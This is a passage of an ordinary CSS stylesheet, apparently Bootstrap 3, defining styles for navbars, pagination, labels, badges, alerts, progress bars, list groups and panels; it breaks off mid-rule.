}\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: 1030;\n}\n@media (min-width: 768px) {\n .navbar-fixed-top,\n .navbar-fixed-bottom {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0;\n border-width: 1px 0 0;\n}\n.navbar-brand {\n float: left;\n padding: 15px 15px;\n font-size: 18px;\n line-height: 20px;\n height: 50px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n text-decoration: none;\n}\n.navbar-brand > img {\n display: block;\n}\n@media (min-width: 768px) {\n .navbar > .container .navbar-brand,\n .navbar > .container-fluid .navbar-brand {\n margin-left: -15px;\n }\n}\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: 15px;\n padding: 9px 10px;\n margin-top: 8px;\n margin-bottom: 8px;\n background-color: transparent;\n background-image: none;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.navbar-toggle:focus {\n outline: 0;\n}\n.navbar-toggle .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n margin-top: 4px;\n}\n@media (min-width: 768px) {\n .navbar-toggle {\n display: none;\n }\n}\n.navbar-nav {\n margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: 20px;\n}\n@media (max-width: 767px) {\n .navbar-nav .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n }\n .navbar-nav .open .dropdown-menu > li > a,\n .navbar-nav .open .dropdown-menu .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n .navbar-nav .open .dropdown-menu > li > a {\n line-height: 20px;\n }\n .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-nav .open .dropdown-menu > li > a:focus {\n background-image: none;\n }\n}\n@media (min-width: 768px) {\n .navbar-nav {\n float: left;\n margin: 0;\n }\n .navbar-nav > li {\n float: left;\n }\n .navbar-nav > li > a {\n padding-top: 15px;\n padding-bottom: 15px;\n }\n}\n.navbar-form {\n margin-left: -15px;\n margin-right: -15px;\n padding: 10px 15px;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n margin-top: 8px;\n margin-bottom: 8px;\n}\n@media (min-width: 768px) {\n .navbar-form .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .navbar-form .form-control-static {\n display: inline-block;\n }\n .navbar-form .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .navbar-form .input-group .input-group-addon,\n .navbar-form .input-group .input-group-btn,\n .navbar-form .input-group .form-control {\n width: auto;\n }\n .navbar-form .input-group > .form-control {\n width: 100%;\n }\n .navbar-form .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio,\n .navbar-form .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio label,\n .navbar-form .checkbox label {\n padding-left: 0;\n }\n .navbar-form .radio input[type=\"radio\"],\n .navbar-form .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .navbar-form .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n@media (max-width: 767px) {\n .navbar-form .form-group {\n margin-bottom: 5px;\n }\n .navbar-form .form-group:last-child {\n margin-bottom: 0;\n }\n}\n@media (min-width: 768px) {\n .navbar-form {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n }\n}\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.navbar-btn {\n margin-top: 8px;\n margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n margin-top: 14px;\n margin-bottom: 14px;\n}\n.navbar-text {\n margin-top: 15px;\n margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n .navbar-text {\n float: left;\n margin-left: 15px;\n margin-right: 15px;\n }\n}\n@media (min-width: 768px) {\n .navbar-left {\n float: left !important;\n }\n .navbar-right {\n float: right !important;\n margin-right: -15px;\n }\n .navbar-right ~ .navbar-right {\n margin-right: 0;\n }\n}\n.navbar-default {\n background-color: #f8f8f8;\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n color: #777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n color: #5e5e5e;\n background-color: transparent;\n}\n.navbar-default .navbar-text {\n color: #777;\n}\n.navbar-default .navbar-nav > li > a {\n color: #777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n color: #333;\n background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n color: #555;\n background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n color: #ccc;\n background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n border-color: #ddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n background-color: #ddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n background-color: #888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n background-color: #e7e7e7;\n color: #555;\n}\n@media (max-width: 767px) {\n .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n color: #777;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #333;\n background-color: transparent;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #555;\n background-color: #e7e7e7;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #ccc;\n background-color: transparent;\n }\n}\n.navbar-default .navbar-link {\n color: #777;\n}\n.navbar-default .navbar-link:hover {\n color: #333;\n}\n.navbar-default .btn-link {\n color: #777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n color: #333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n color: #ccc;\n}\n.navbar-inverse {\n background-color: #222;\n border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n color: #fff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n color: #fff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n color: #fff;\n background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n color: #444;\n background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n border-color: #333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n background-color: #333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n background-color: #fff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n background-color: #080808;\n color: #fff;\n}\n@media (max-width: 767px) {\n .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n border-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n color: #9d9d9d;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #fff;\n background-color: transparent;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #fff;\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #444;\n background-color: transparent;\n }\n}\n.navbar-inverse .navbar-link {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n color: #fff;\n}\n.navbar-inverse .btn-link {\n color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n color: #fff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n color: #444;\n}\n.breadcrumb {\n padding: 8px 15px;\n margin-bottom: 20px;\n list-style: none;\n background-color: #f5f5f5;\n border-radius: 4px;\n}\n.breadcrumb > li {\n display: inline-block;\n}\n.breadcrumb > li + li:before {\n content: \"/\\00a0\";\n padding: 0 5px;\n color: #ccc;\n}\n.breadcrumb > .active {\n color: #777777;\n}\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: 20px 0;\n border-radius: 4px;\n}\n.pagination > li {\n display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n position: relative;\n float: left;\n padding: 6px 12px;\n line-height: 1.42857143;\n text-decoration: none;\n color: #337ab7;\n background-color: #fff;\n border: 1px solid #ddd;\n margin-left: -1px;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n margin-left: 0;\n border-bottom-left-radius: 4px;\n border-top-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n border-bottom-right-radius: 4px;\n border-top-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n z-index: 2;\n color: #23527c;\n background-color: #eeeeee;\n border-color: #ddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n z-index: 3;\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n cursor: default;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n color: #777777;\n background-color: #fff;\n border-color: #ddd;\n cursor: not-allowed;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n border-bottom-left-radius: 6px;\n border-top-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n border-bottom-right-radius: 6px;\n border-top-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n border-bottom-left-radius: 3px;\n border-top-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n border-bottom-right-radius: 3px;\n border-top-right-radius: 3px;\n}\n.pager {\n padding-left: 0;\n margin: 20px 0;\n list-style: none;\n text-align: center;\n}\n.pager li {\n display: inline;\n}\n.pager li > a,\n.pager li > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.pager .next > a,\n.pager .next > span {\n float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n color: #777777;\n background-color: #fff;\n cursor: not-allowed;\n}\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: #fff;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n color: #fff;\n text-decoration: none;\n cursor: pointer;\n}\n.label:empty {\n display: none;\n}\n.btn .label {\n position: relative;\n top: -1px;\n}\n.label-default {\n background-color: #777777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n background-color: #5e5e5e;\n}\n.label-primary {\n background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n background-color: #286090;\n}\n.label-success {\n background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n background-color: #449d44;\n}\n.label-info {\n background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n background-color: #31b0d5;\n}\n.label-warning {\n background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n background-color: #ec971f;\n}\n.label-danger {\n background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n background-color: #c9302c;\n}\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: 12px;\n font-weight: bold;\n color: #fff;\n line-height: 1;\n vertical-align: middle;\n white-space: nowrap;\n text-align: center;\n background-color: #777777;\n border-radius: 10px;\n}\n.badge:empty {\n display: none;\n}\n.btn .badge {\n position: relative;\n top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n top: 0;\n padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n color: #fff;\n text-decoration: none;\n cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.list-group-item > .badge {\n float: right;\n}\n.list-group-item > .badge + .badge {\n margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n margin-left: 3px;\n}\n.jumbotron {\n padding-top: 30px;\n padding-bottom: 30px;\n margin-bottom: 30px;\n color: inherit;\n background-color: #eeeeee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n color: inherit;\n}\n.jumbotron p {\n margin-bottom: 15px;\n font-size: 21px;\n font-weight: 200;\n}\n.jumbotron > hr {\n border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n border-radius: 6px;\n padding-left: 15px;\n padding-right: 15px;\n}\n.jumbotron .container {\n max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n .jumbotron {\n padding-top: 48px;\n padding-bottom: 48px;\n }\n .container .jumbotron,\n .container-fluid .jumbotron {\n padding-left: 60px;\n padding-right: 60px;\n }\n .jumbotron h1,\n .jumbotron .h1 {\n font-size: 63px;\n }\n}\n.thumbnail {\n display: block;\n padding: 4px;\n margin-bottom: 20px;\n line-height: 1.42857143;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 4px;\n -webkit-transition: border 0.2s ease-in-out;\n -o-transition: border 0.2s ease-in-out;\n transition: border 0.2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n margin-left: auto;\n margin-right: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n border-color: #337ab7;\n}\n.thumbnail .caption {\n padding: 9px;\n color: #333333;\n}\n.alert {\n padding: 15px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.alert h4 {\n margin-top: 0;\n color: inherit;\n}\n.alert .alert-link {\n font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n margin-bottom: 0;\n}\n.alert > p + p {\n margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n}\n.alert-success {\n background-color: #dff0d8;\n border-color: #d6e9c6;\n color: #3c763d;\n}\n.alert-success hr {\n border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n color: #2b542c;\n}\n.alert-info {\n background-color: #d9edf7;\n border-color: #bce8f1;\n color: #31708f;\n}\n.alert-info hr {\n border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n color: #245269;\n}\n.alert-warning {\n background-color: #fcf8e3;\n border-color: #faebcc;\n color: #8a6d3b;\n}\n.alert-warning hr {\n border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n color: #66512c;\n}\n.alert-danger {\n background-color: #f2dede;\n border-color: #ebccd1;\n color: #a94442;\n}\n.alert-danger hr {\n border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n@keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n.progress {\n overflow: hidden;\n height: 20px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: 12px;\n line-height: 20px;\n color: #fff;\n text-align: center;\n background-color: #337ab7;\n -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n -webkit-transition: width 0.6s ease;\n -o-transition: width 0.6s ease;\n transition: width 0.6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-size: 40px 40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n -webkit-animation: progress-bar-stripes 2s linear infinite;\n -o-animation: progress-bar-stripes 2s linear infinite;\n animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.media {\n margin-top: 15px;\n}\n.media:first-child {\n margin-top: 0;\n}\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n.media-body {\n width: 10000px;\n}\n.media-object {\n display: block;\n}\n.media-object.img-thumbnail {\n max-width: none;\n}\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n.media-middle {\n vertical-align: middle;\n}\n.media-bottom {\n vertical-align: bottom;\n}\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n.list-group {\n margin-bottom: 20px;\n padding-left: 0;\n}\n.list-group-item {\n position: relative;\n display: block;\n padding: 10px 15px;\n margin-bottom: -1px;\n background-color: #fff;\n border: 1px solid #ddd;\n}\n.list-group-item:first-child {\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n}\n.list-group-item:last-child {\n margin-bottom: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\na.list-group-item,\nbutton.list-group-item {\n color: #555;\n}\na.list-group-item .list-group-item-heading,\nbutton.list-group-item .list-group-item-heading {\n color: #333;\n}\na.list-group-item:hover,\nbutton.list-group-item:hover,\na.list-group-item:focus,\nbutton.list-group-item:focus {\n text-decoration: none;\n color: #555;\n background-color: #f5f5f5;\n}\nbutton.list-group-item {\n width: 100%;\n text-align: left;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n background-color: #eeeeee;\n color: #777777;\n cursor: not-allowed;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n color: #777777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n z-index: 2;\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n color: #c7ddef;\n}\n.list-group-item-success {\n color: #3c763d;\n background-color: #dff0d8;\n}\na.list-group-item-success,\nbutton.list-group-item-success {\n color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading,\nbutton.list-group-item-success .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-success:hover,\nbutton.list-group-item-success:hover,\na.list-group-item-success:focus,\nbutton.list-group-item-success:focus {\n color: #3c763d;\n background-color: #d0e9c6;\n}\na.list-group-item-success.active,\nbutton.list-group-item-success.active,\na.list-group-item-success.active:hover,\nbutton.list-group-item-success.active:hover,\na.list-group-item-success.active:focus,\nbutton.list-group-item-success.active:focus {\n color: #fff;\n background-color: #3c763d;\n border-color: #3c763d;\n}\n.list-group-item-info {\n color: #31708f;\n background-color: #d9edf7;\n}\na.list-group-item-info,\nbutton.list-group-item-info {\n color: #31708f;\n}\na.list-group-item-info .list-group-item-heading,\nbutton.list-group-item-info .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-info:hover,\nbutton.list-group-item-info:hover,\na.list-group-item-info:focus,\nbutton.list-group-item-info:focus {\n color: #31708f;\n background-color: #c4e3f3;\n}\na.list-group-item-info.active,\nbutton.list-group-item-info.active,\na.list-group-item-info.active:hover,\nbutton.list-group-item-info.active:hover,\na.list-group-item-info.active:focus,\nbutton.list-group-item-info.active:focus {\n color: #fff;\n background-color: #31708f;\n border-color: #31708f;\n}\n.list-group-item-warning {\n color: #8a6d3b;\n background-color: #fcf8e3;\n}\na.list-group-item-warning,\nbutton.list-group-item-warning {\n color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading,\nbutton.list-group-item-warning .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-warning:hover,\nbutton.list-group-item-warning:hover,\na.list-group-item-warning:focus,\nbutton.list-group-item-warning:focus {\n color: #8a6d3b;\n background-color: #faf2cc;\n}\na.list-group-item-warning.active,\nbutton.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\nbutton.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus,\nbutton.list-group-item-warning.active:focus {\n color: #fff;\n background-color: #8a6d3b;\n border-color: #8a6d3b;\n}\n.list-group-item-danger {\n color: #a94442;\n background-color: #f2dede;\n}\na.list-group-item-danger,\nbutton.list-group-item-danger {\n color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading,\nbutton.list-group-item-danger .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-danger:hover,\nbutton.list-group-item-danger:hover,\na.list-group-item-danger:focus,\nbutton.list-group-item-danger:focus {\n color: #a94442;\n background-color: #ebcccc;\n}\na.list-group-item-danger.active,\nbutton.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\nbutton.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus,\nbutton.list-group-item-danger.active:focus {\n color: #fff;\n background-color: #a94442;\n border-color: #a94442;\n}\n.list-group-item-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.list-group-item-text {\n margin-bottom: 0;\n line-height: 1.3;\n}\n.panel {\n margin-bottom: 20px;\n background-color: #fff;\n border: 1px solid transparent;\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.panel-body {\n padding: 15px;\n}\n.panel-heading {\n padding: 10px 15px;\n border-bottom: 1px solid transparent;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n color: inherit;\n}\n.panel-title {\n margin-top: 0;\n margin-bottom: 0;\n font-size: 16px;\n color: inherit;\n}\n.panel-title > 